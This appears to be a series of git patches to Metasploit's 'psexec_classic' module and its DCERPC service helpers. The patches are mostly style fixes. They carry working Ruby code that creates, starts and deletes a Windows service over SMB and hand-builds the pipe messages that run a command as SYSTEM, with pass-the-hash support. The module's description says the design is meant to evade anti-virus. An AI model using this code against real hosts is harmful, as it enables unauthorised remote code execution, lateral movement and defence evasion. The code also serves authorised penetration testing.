response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[4,20] - svc_status = dcerpc.last_response.stub_data[20,4] - end - - if svc_status.to_i != 0 - svc_handle = nil - end - return svc_handle - end - - # Calls CloseHandle() to close a handle. Returns true on success, or false. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param handle [String] the handle to close. - # - # @return [Boolean] true if the handle was successfully closed, or false if not. - def dce_closehandle(dcerpc, handle) - ret = false - response = dcerpc.call(0x0, handle) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[20,4].to_i == 0 - ret = true - end - end - return ret - end - - # Calls OpenServiceW to obtain a handle to an existing service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). - # @param service_name [String] the name of the service to open. - # @param access [Fixnum] the level of access requested (default is maximum). - # - # @return [String, nil] the handle of the service opened, or nil on failure. - def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) - svc_handle = nil - svc_status = nil - stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[20,4] - end - - if svc_status.to_i != 0 - svc_handle = nil - end - return svc_handle - end - - # Calls StartService() on a handle to an existing service in order to start it. Returns true on success, or false. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to start (from dce_openservicew()). - # @param magic1 [Fixnum] an unknown value. - # @param magic2 [Fixnum] another unknown value. - # - # @return [Boolean] true if the service was successfully started, false if it was not. - def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) - ret = false - stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[0,4].to_i == 0 - ret = true - end - end - return ret - end - - # Stops a running service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to stop (from dce_openservicew()). - # - # @return [Boolean] true if the service was successfully stopped, false if it was not. - def dce_stopservice(dcerpc, svc_handle) - return dce_controlservice(dcerpc, svc_handle, 1) - end - - # Controls an existing service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to control (from dce_openservicew()). - # @param operation [Fixnum] the operation number to perform (1 = stop service; others are unknown). - # - # @return [Boolean] true if the operation was successful, false if it was not. - def dce_controlservice(dcerpc, svc_handle, operation) - ret = false - response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[28,4].to_i == 0 - ret = true - end - end - return ret - end - - # Calls DeleteService() to delete a service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to delete (from dce_openservicew()). - # - # @return [Boolean] true if the service was successfully deleted, false if it was not. - def dce_deleteservice(dcerpc, svc_handle) - ret = false - response = dcerpc.call(0x02, svc_handle) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - if dcerpc.last_response.stub_data[0,4].to_i == 0 - ret = true - end - end - return ret - end - - # Calls QueryServiceStatus() to query the status of a service. - # - # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. - # @param svc_handle [String] the handle of the service to query (from dce_openservicew()). - # - # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned that isn't implemented), - # 1 if the service is running, and 2 if the service is stopped. - def dce_queryservice(dcerpc, svc_handle) - ret = 0 - response = dcerpc.call(0x06, svc_handle) - if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" - ret = 1 - elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" - ret = 2 - end - return ret - end - + NDR = Rex::Encoder::NDR + + + # Calls OpenSCManagerW() to obtain a handle to the service control manager. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param rhost [String] the target host. + # @param access [Fixnum] the access flags requested. + # + # @return [String] the handle to the service control manager. + def dce_openscmanagerw(dcerpc, rhost, access = 0xF003F) + scm_handle = nil + scm_status = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(0) + + NDR.long(access) + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + scm_handle = dcerpc.last_response.stub_data[0,20] + scm_status = dcerpc.last_response.stub_data[20,4] + end + + if scm_status.to_i != 0 + scm_handle = nil + end + return scm_handle + end + + + # Calls CreateServiceW() to create a system service. Returns a handle to + # the service on success, or nil. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the service name. + # @param display_name [String] the display name. + # @param binary_path [String] the path of the binary to run. + # @param opts [Hash] a hash containing the following keys and values: + # access [Fixnum] the access level (default is maximum). + # type [Fixnum] the type of service (default is interactive, + # own process). + # start [Fixnum] the start options (default is on demand). + # errors [Fixnum] the error options (default is ignore). + # load_order_group [Fixnum] the load order group. + # dependencies [Fixnum] the dependencies of the service. + # service_start [Fixnum] + # password1 [Fixnum] + # password2 [Fixnum] + # password3 [Fixnum] + # password4 [Fixnum] + # + # @return [String] a handle to the created service. + def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_path, opts) + default_opts = { + :access => 0x0F01FF, # Maximum access. + :type => 0x00000110, # Interactive, own process. + :start => 0x00000003, # Start on demand. + :errors => 0x00000000,# Ignore errors. + :load_order_group => 0, + :dependencies => 0, + :service_start => 0, + :password1 => 0, + :password2 => 0, + :password3 => 0, + :password4 => 0 + }.merge(opts) + + svc_handle = nil + svc_status = nil + stubdata = scm_handle + + NDR.wstring(service_name) + + NDR.uwstring(display_name) + + NDR.long(default_opts[:access]) + + NDR.long(default_opts[:type]) + + NDR.long(default_opts[:start]) + + NDR.long(default_opts[:errors]) + + NDR.wstring(binary_path) + + NDR.long(default_opts[:load_order_group]) + + NDR.long(default_opts[:dependencies]) + + NDR.long(default_opts[:service_start]) + + NDR.long(default_opts[:password1]) + + NDR.long(default_opts[:password2]) + + NDR.long(default_opts[:password3]) + + NDR.long(default_opts[:password4]) + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + svc_handle = dcerpc.last_response.stub_data[4,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls CloseHandle() to close a handle. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param handle [String] the handle to close. + # + # @return [Boolean] true if the handle was successfully closed, or false if + # not. + def dce_closehandle(dcerpc, handle) + ret = false + response = dcerpc.call(0x0, handle) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[20,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls OpenServiceW to obtain a handle to an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param scm_handle [String] the SCM handle (from dce_openscmanagerw()). + # @param service_name [String] the name of the service to open. + # @param access [Fixnum] the level of access requested (default is maximum). + # + # @return [String, nil] the handle of the service opened, or nil on failure. + def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) + svc_handle = nil + svc_status = nil + stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access) + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[20,4] + end + + if svc_status.to_i != 0 + svc_handle = nil + end + return svc_handle + end + + # Calls StartService() on a handle to an existing service in order to start + # it. Returns true on success, or false. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to start (from + # dce_openservicew()). + # @param magic1 [Fixnum] an unknown value. + # @param magic2 [Fixnum] another unknown value. + # + # @return [Boolean] true if the service was successfully started, false if + # it was not. + def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) + ret = false + stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Stops a running service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to stop (from + # dce_openservicew()). + # + # @return [Boolean] true if the service was successfully stopped, false if + # it was not. + def dce_stopservice(dcerpc, svc_handle) + return dce_controlservice(dcerpc, svc_handle, 1) + end + + # Controls an existing service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to control + # (from dce_openservicew()). + # @param operation [Fixnum] the operation number to perform (1 = stop + # service; others are unknown). + # + # @return [Boolean] true if the operation was successful, false if it was + # not. + def dce_controlservice(dcerpc, svc_handle, operation) + ret = false + response = dcerpc.call(0x01, svc_handle + NDR.long(operation)) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[28,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls DeleteService() to delete a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to delete (from + # dce_openservicew()). + # + # @return [Boolean] true if the service was successfully deleted, false if + # it was not. + def dce_deleteservice(dcerpc, svc_handle) + ret = false + response = dcerpc.call(0x02, svc_handle) + if dcerpc.last_response and dcerpc.last_response.stub_data + if dcerpc.last_response.stub_data[0,4].to_i == 0 + ret = true + end + end + return ret + end + + # Calls QueryServiceStatus() to query the status of a service. + # + # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. + # @param svc_handle [String] the handle of the service to query (from + # dce_openservicew()). + # + # @return [Fixnum] Returns 0 if the query failed (i.e.: a state was returned + # that isn't implemented), 1 if the service is running, and + # 2 if the service is stopped. + def dce_queryservice(dcerpc, svc_handle) + ret = 0 + response = dcerpc.call(0x06, svc_handle) + if response[0,9] == "\x10\x00\x00\x00\x04\x00\x00\x00\x01" + ret = 1 + elsif response[0,9] == "\x10\x00\x00\x00\x01\x00\x00\x00\x00" + ret = 2 + end + return ret + end + end end From 8bb30a07be337952a3c66770b307132156bc9585 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 13 Jan 2014 22:36:12 -0500 Subject: [PATCH 07/15] Made stylistic changes. --- modules/auxiliary/admin/smb/psexec_classic.rb | 96 ++++++++++--------- 1 file changed, 50 insertions(+), 46 deletions(-) diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 30660bf579e2..b07d14cce9c2 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -19,11 +19,18 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'PsExec Classic', 'Description' => %q{ -This module mimics the classic PsExec tool from Microsoft SysInternals. Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful -because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec -(which happens to have a digital signature from Microsoft), thus anti-virus software cannot distinguish the difference. AV cannot block it without also blocking the authentic version. -Of course, this module also supports pass-the-hash, which the authentic PsExec does not. You must provide a local path to the authentic PsExec.exe (via the PSEXEC_PATH option) -so that the PSEXESVC.EXE service code can be extracted and uploaded to the target. The specified command (via the COMMAND option) will be executed with SYSTEM privileges. +This module mimics the classic PsExec tool from Microsoft SysInternals. +Anti-virus software has recently rendered the commonly-used +exploit/windows/smb/psexec module much less useful because the uploaded +executable stub is usually detected and deleted before it can be used. This +module sends the same code to the target as the authentic PsExec (which +happens to have a digital signature from Microsoft), thus anti-virus software +cannot distinguish the difference. AV cannot block it without also blocking +the authentic version. Of course, this module also supports pass-the-hash, +which the authentic PsExec does not. You must provide a local path to the +authentic PsExec.exe (via the PSEXEC_PATH option) so that the PSEXESVC.EXE +service code can be extracted and uploaded to the target. The specified +command (via the COMMAND option) will be executed with SYSTEM privileges. }, 'Author' => [ @@ -43,25 +50,22 @@ def initialize(info = {}) ], self.class ) end - def run() + def run psexec_path = datastore['PSEXEC_PATH'] command = datastore['COMMAND'] psexesvc,psexec_version = extract_psexesvc(psexec_path, true) print_status("Connecting to #{datastore['RHOST']}...") - if not connect - print_error("Failed to connect.") - return false + unless connect + fail_with(Failure::Unreachable, 'Failed to connect.') end print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") smb_login if (not simple.client.auth_user) - print_error("Server granted only Guest privileges.") - disconnect - return false + fail_with(Failure::NoAccess, 'Server granted only Guest privileges.') end @@ -103,8 +107,7 @@ def run() print_status('Obtaining a service control manager handle...') scm_handle = dce_openscmanagerw(dcerpc, datastore['RHOST']) if scm_handle == nil - print_error('Failed to obtain handle to service control manager.') - return + fail_with(Failure::Unknown, 'Failed to obtain handle to service control manager.') end # Create the service. @@ -117,17 +120,16 @@ def run() '%SystemRoot%\PSEXESVC.EXE', # Binary path {:type => 0x00000010}) # Type: Own process if svc_handle == nil - print_error('Error while creating new service.') - return + fail_with(Failure::Unknown, 'Error while creating new service.') end # Close the handle to the service. - if not dce_closehandle(dcerpc, svc_handle) + unless dce_closehandle(dcerpc, svc_handle) print_error('Failed to close service handle.') # If this fails, we can still continue... end - rescue ::Exception => e + rescue Rex::Proto::DCERPC::Exceptions::Fault => e # An exception can occur if the service already exists due to a prior unclean shutdown. We can try to # continue anyway. end @@ -137,20 +139,17 @@ def run() print_status('Opening service...') svc_handle = dce_openservicew(dcerpc, scm_handle, 'PSEXESVC') if svc_handle == nil - print_error('Failed to open service.') - return + fail_with(Failure::Unknown, 'Failed to open service.') end # Start the service. print_status('Starting the service...') - if not dce_startservice(dcerpc, svc_handle) - print_error('Failed to start the service.') - return + unless dce_startservice(dcerpc, svc_handle) + fail_with(Failure::Unknown, 'Failed to start the service.') end - rescue ::Exception => e - print_error("Error: #{e}\n#{e.backtrace.join("\n")}") - return + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + fail_with(Failure::Unknown, "#{e}\n#{e.backtrace.join("\n")}") end @@ -161,8 +160,7 @@ def run() elsif psexec_version == 2.0 psexesvc_pipe_name = 'PSEXESVC' else - print_error("Internal error. A PsExec version of #{psexec_version} is not valid!") - return + fail_with(Failure::Unknown, "Internal error. A PsExec version of #{psexec_version} is not valid!") end # Open a pipe to the right service. @@ -193,6 +191,11 @@ def run() # In the first message, we tell the service our made-up # hostname and PID, and tell it what program to execute. + data = "\xee\x58\x4a\x58\x4a\x00\x00" << random_client_pid_low.chr << + random_client_pid_high.chr << "\x00\x00" << + Rex::Text.to_unicode(random_hostname) << + ("\x00" * 496) << Rex::Text.to_unicode(command) << + ("\x00" * (3762 - (command.length * 2))) smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, 'flags1' => 0x18, 'flags2' => 0xc807, @@ -207,13 +210,8 @@ def run() 'data_offset' => 64, 'high_offset' => 0, 'byte_count' => 4293, - 'data' => "\xee\x58\x4a\x58\x4a\x00\x00" << - random_client_pid_low.chr << - random_client_pid_high.chr << "\x00\x00" << - Rex::Text.to_unicode(random_hostname) << - ("\x00" * 496) << Rex::Text.to_unicode(command) << - ("\x00" * (3762 - (command.length * 2))), - 'do_recv' => true}) + 'data' => data, + 'do_recv' => true}) # In the next three messages, we just send lots of zero bytes... smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, @@ -287,7 +285,9 @@ def run() 'data_offset' => 64, 'high_offset' => 0, 'byte_count' => 1873, - 'data' => "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), + 'data' => "\xee" << ("\x00" * 793) << "\x01" << + ("\x00" * 14) << "\xff\xff\xff\xff" << + ("\x00" * 1048) << "\x01" << ("\x00" * 11), 'do_recv' => true}) @@ -367,7 +367,7 @@ def run() end # If the user entered some input. - if (r != nil) and (r.include? $stdin) + if r and r.include? $stdin # There's actually an entire line of text available, but the # standard PsExec.exe client sends one byte at a time, so we'll @@ -415,7 +415,7 @@ def run() last_char = data end end - rescue ::Exception => e + rescue Rex::Proto::SMB::Exceptions::InvalidType => e print_error("Error: #{e}") print_status('Attempting to terminate gracefully...') end @@ -431,33 +431,37 @@ def run() # Stop the service. begin print_status('Stopping the service...') - if not dce_stopservice(dcerpc, svc_handle) + unless dce_stopservice(dcerpc, svc_handle) print_error('Error while stopping the service.') # We will try to continue anyway... end - rescue ::Exception => e + rescue Rex::Proto::SMB::Exceptions::InvalidType => e print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end # Wait a little bit for it to stop before we delete the service. - if wait_for_service_to_stop(svc_handle) == false - print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + begin + if wait_for_service_to_stop(svc_handle) == false + print_error('Could not stop the PSEXECSVC service. Attempting to continue cleanup...') + end + rescue Rex::Proto::SMB::Exceptions::InvalidType => e + print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end # Delete the service. begin print_status("Removing the service...") - if not dce_deleteservice(dcerpc, svc_handle) + unless dce_deleteservice(dcerpc, svc_handle) print_error('Error while deleting the service.') # We will try to continue anyway... end print_status("Closing service handle...") - if not dce_closehandle(dcerpc, svc_handle) + unless dce_closehandle(dcerpc, svc_handle) print_error('Error while closing the service handle.') # We will try to continue anyway... end - rescue ::Exception => e + rescue Rex::Proto::SMB::Exceptions::InvalidType => e print_error("Error: #{e}\n#{e.backtrace.join("\n")}") end @@ -512,7 +516,7 @@ def wait_for_service_to_stop(svc_handle) service_stopped = false retries = 0 while (retries < 3) and (service_stopped == false) - select(nil, nil, nil, retries) + Rex.sleep(retries) if dce_queryservice(dcerpc, svc_handle) == 2 service_stopped = true From 006f5fca6ed2afc22047e5b142c3776c46ddd0c7 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Mon, 13 Jan 2014 22:42:47 -0500 Subject: [PATCH 08/15] Fixed msftidy warnings. --- lib/msf/core/exploit/dcerpc_services.rb | 22 +++++++++---------- modules/auxiliary/admin/smb/psexec_classic.rb | 4 ++-- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/dcerpc_services.rb b/lib/msf/core/exploit/dcerpc_services.rb index bede9ca079cf..a6088dcd948b 100644 --- a/lib/msf/core/exploit/dcerpc_services.rb +++ b/lib/msf/core/exploit/dcerpc_services.rb @@ -74,7 +74,7 @@ def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_pa :password3 => 0, :password4 => 0 }.merge(opts) - + svc_handle = nil svc_status = nil stubdata = scm_handle + @@ -97,13 +97,13 @@ def dce_createservicew(dcerpc, scm_handle, service_name, display_name, binary_pa svc_handle = dcerpc.last_response.stub_data[4,20] svc_status = dcerpc.last_response.stub_data[20,4] end - + if svc_status.to_i != 0 svc_handle = nil end return svc_handle end - + # Calls CloseHandle() to close a handle. Returns true on success, or false. # # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. @@ -121,7 +121,7 @@ def dce_closehandle(dcerpc, handle) end return ret end - + # Calls OpenServiceW to obtain a handle to an existing service. # # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. @@ -139,13 +139,13 @@ def dce_openservicew(dcerpc, scm_handle, service_name, access = 0xF01FF) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[20,4] end - + if svc_status.to_i != 0 svc_handle = nil end return svc_handle end - + # Calls StartService() on a handle to an existing service in order to start # it. Returns true on success, or false. # @@ -168,7 +168,7 @@ def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) end return ret end - + # Stops a running service. # # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. @@ -180,7 +180,7 @@ def dce_startservice(dcerpc, svc_handle, magic1 = 0, magic2 = 0) def dce_stopservice(dcerpc, svc_handle) return dce_controlservice(dcerpc, svc_handle, 1) end - + # Controls an existing service. # # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. @@ -201,7 +201,7 @@ def dce_controlservice(dcerpc, svc_handle, operation) end return ret end - + # Calls DeleteService() to delete a service. # # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. @@ -220,7 +220,7 @@ def dce_deleteservice(dcerpc, svc_handle) end return ret end - + # Calls QueryServiceStatus() to query the status of a service. # # @param dcerpc [Rex::Proto::DCERPC::Client] the DCERPC client to use. @@ -240,6 +240,6 @@ def dce_queryservice(dcerpc, svc_handle) end return ret end - + end end diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index b07d14cce9c2..6bec25f0349e 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -19,8 +19,8 @@ def initialize(info = {}) super(update_info(info, 'Name' => 'PsExec Classic', 'Description' => %q{ -This module mimics the classic PsExec tool from Microsoft SysInternals. -Anti-virus software has recently rendered the commonly-used +This module mimics the classic PsExec tool from Microsoft SysInternals. + Anti-virus software has recently rendered the commonly-used exploit/windows/smb/psexec module much less useful because the uploaded executable stub is usually detected and deleted before it can be used. This module sends the same code to the target as the authentic PsExec (which From e2ab5ea5497fcd927a0c840a09d517ba1f096904 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Tue, 14 Jan 2014 10:17:51 -0500 Subject: [PATCH 09/15] Stylistic changes only. Hash keys now use :variable notation. --- lib/rex/proto/smb/client.rb | 32 +-- modules/auxiliary/admin/smb/psexec_classic.rb | 232 +++++++++--------- 2 files changed, 132 insertions(+), 132 deletions(-) diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index bb1497a7b15c..79804c18470f 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -1301,28 +1301,28 @@ def write_raw(args) self.smb_defaults(pkt['Payload']['SMB']) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX - pkt['Payload']['SMB'].v['Flags1'] = args['flags1'] - pkt['Payload']['SMB'].v['Flags2'] = args['flags2'] + pkt['Payload']['SMB'].v['Flags1'] = args[:flags1] + pkt['Payload']['SMB'].v['Flags2'] = args[:flags2] - pkt['Payload']['SMB'].v['WordCount'] = args['wordcount'] + pkt['Payload']['SMB'].v['WordCount'] = args[:wordcount] - pkt['Payload'].v['AndX'] = args['andx_command'] - pkt['Payload'].v['AndXOffset'] = args['andx_offset'] - pkt['Payload'].v['FileID'] = args['file_id'] - pkt['Payload'].v['Offset'] = args['offset'] + pkt['Payload'].v['AndX'] = args[:andx_command] + pkt['Payload'].v['AndXOffset'] = args[:andx_offset] + pkt['Payload'].v['FileID'] = args[:file_id] + pkt['Payload'].v['Offset'] = args[:offset] pkt['Payload'].v['Reserved2'] = -1 - pkt['Payload'].v['WriteMode'] = args['write_mode'] - pkt['Payload'].v['Remaining'] = args['remaining'] - pkt['Payload'].v['DataLenHigh'] = args['data_len_high'] - pkt['Payload'].v['DataLenLow'] = args['data_len_low'] - pkt['Payload'].v['DataOffset'] = args['data_offset'] - pkt['Payload'].v['HighOffset'] = args['high_offset'] - pkt['Payload'].v['ByteCount'] = args['byte_count'] + pkt['Payload'].v['WriteMode'] = args[:write_mode] + pkt['Payload'].v['Remaining'] = args[:remaining] + pkt['Payload'].v['DataLenHigh'] = args[:data_len_high] + pkt['Payload'].v['DataLenLow'] = args[:data_len_low] + pkt['Payload'].v['DataOffset'] = args[:data_offset] + pkt['Payload'].v['HighOffset'] = args[:high_offset] + pkt['Payload'].v['ByteCount'] = args[:byte_count] - pkt['Payload'].v['Payload'] = args['data'] + pkt['Payload'].v['Payload'] = args[:data] ret = self.smb_send(pkt.to_s) - return ret if not args['do_recv'] + return ret if not args[:do_recv] ack = self.smb_recv_parse(CONST::SMB_COM_WRITE_ANDX) return ack diff --git a/modules/auxiliary/admin/smb/psexec_classic.rb b/modules/auxiliary/admin/smb/psexec_classic.rb index 6bec25f0349e..5718dba24d87 100644 --- a/modules/auxiliary/admin/smb/psexec_classic.rb +++ b/modules/auxiliary/admin/smb/psexec_classic.rb @@ -196,99 +196,99 @@ def run Rex::Text.to_unicode(random_hostname) << ("\x00" * 496) << Rex::Text.to_unicode(command) << ("\x00" * (3762 - (command.length * 2))) - smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 0, - 'offset' => 0, - 'write_mode' => 0x000c, - 'remaining' => 19032, - 'data_len_high' => 0, - 'data_len_low' => 4292, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 4293, - 'data' => data, - 'do_recv' => true}) + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 0, + :offset => 0, + :write_mode => 0x000c, + :remaining => 19032, + :data_len_high => 0, + :data_len_low => 4292, + :data_offset => 64, + :high_offset => 0, + :byte_count => 4293, + :data => data, + :do_recv => true}) # In the next three messages, we just send lots of zero bytes... - smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 57054, - 'offset' => 4290, - 'write_mode' => 0x0004, - 'remaining' => 19032, - 'data_len_high' => 0, - 'data_len_low' => 4290, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 4291, - 'data' => "\xee" << ("\x00" * 4290), - 'do_recv' => true}) - - - smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 57054, - 'offset' => 8580, - 'write_mode' => 0x0004, - 'remaining' => 19032, - 'data_len_high' => 0, - 'data_len_low' => 4290, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 4291, - 'data' => "\xee" << ("\x00" * 4290), - 'do_recv' => true}) - - - smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 57054, - 'offset' => 12870, - 'write_mode' => 0x0004, - 'remaining' => 19032, - 'data_len_high' => 0, - 'data_len_low' => 4290, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 4291, - 'data' => "\xee" << ("\x00" * 4290), - 'do_recv' => true}) + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 4290, + :write_mode => 0x0004, + :remaining => 19032, + :data_len_high => 0, + :data_len_low => 4290, + :data_offset => 64, + :high_offset => 0, + :byte_count => 4291, + :data => "\xee" << ("\x00" * 4290), + :do_recv => true}) + + + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 8580, + :write_mode => 0x0004, + :remaining => 19032, + :data_len_high => 0, + :data_len_low => 4290, + :data_offset => 64, + :high_offset => 0, + :byte_count => 4291, + :data => "\xee" << ("\x00" * 4290), + :do_recv => true}) + + + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 12870, + :write_mode => 0x0004, + :remaining => 19032, + :data_len_high => 0, + :data_len_low => 4290, + :data_offset => 64, + :high_offset => 0, + :byte_count => 4291, + :data => "\xee" << ("\x00" * 4290), + :do_recv => true}) # In the final message, we give it some magic bytes. This # (somehow) corresponds to the "-s" flag in PsExec.exe, which # tells it to execute the specified command as SYSTEM. - smbclient.write_raw({'file_id' => psexecsvc_proc.file_id, - 'flags1' => 0x18, - 'flags2' => 0xc807, - 'wordcount' => 14, - 'andx_command' => 255, - 'andx_offset' => 57054, - 'offset' => 17160, - 'write_mode' => 0x0004, - 'remaining' => 19032, - 'data_len_high' => 0, - 'data_len_low' => 1872, - 'data_offset' => 64, - 'high_offset' => 0, - 'byte_count' => 1873, - 'data' => "\xee" << ("\x00" * 793) << "\x01" << + smbclient.write_raw({:file_id => psexecsvc_proc.file_id, + :flags1 => 0x18, + :flags2 => 0xc807, + :wordcount => 14, + :andx_command => 255, + :andx_offset => 57054, + :offset => 17160, + :write_mode => 0x0004, + :remaining => 19032, + :data_len_high => 0, + :data_len_low => 1872, + :data_offset => 64, + :high_offset => 0, + :byte_count => 1873, + :data => "\xee" << ("\x00" * 793) << "\x01" << ("\x00" * 14) << "\xff\xff\xff\xff" << ("\x00" * 1048) << "\x01" << ("\x00" * 11), - 'do_recv' => true}) + :do_recv => true}) # Connect to the named pipes that correspond to stdin, stdout, @@ -377,40 +377,40 @@ def run # The remote program expects CRLF line endings, but in Linux, we # only get LF line endings... if data == "\x0a" and last_char != "\x0d" - 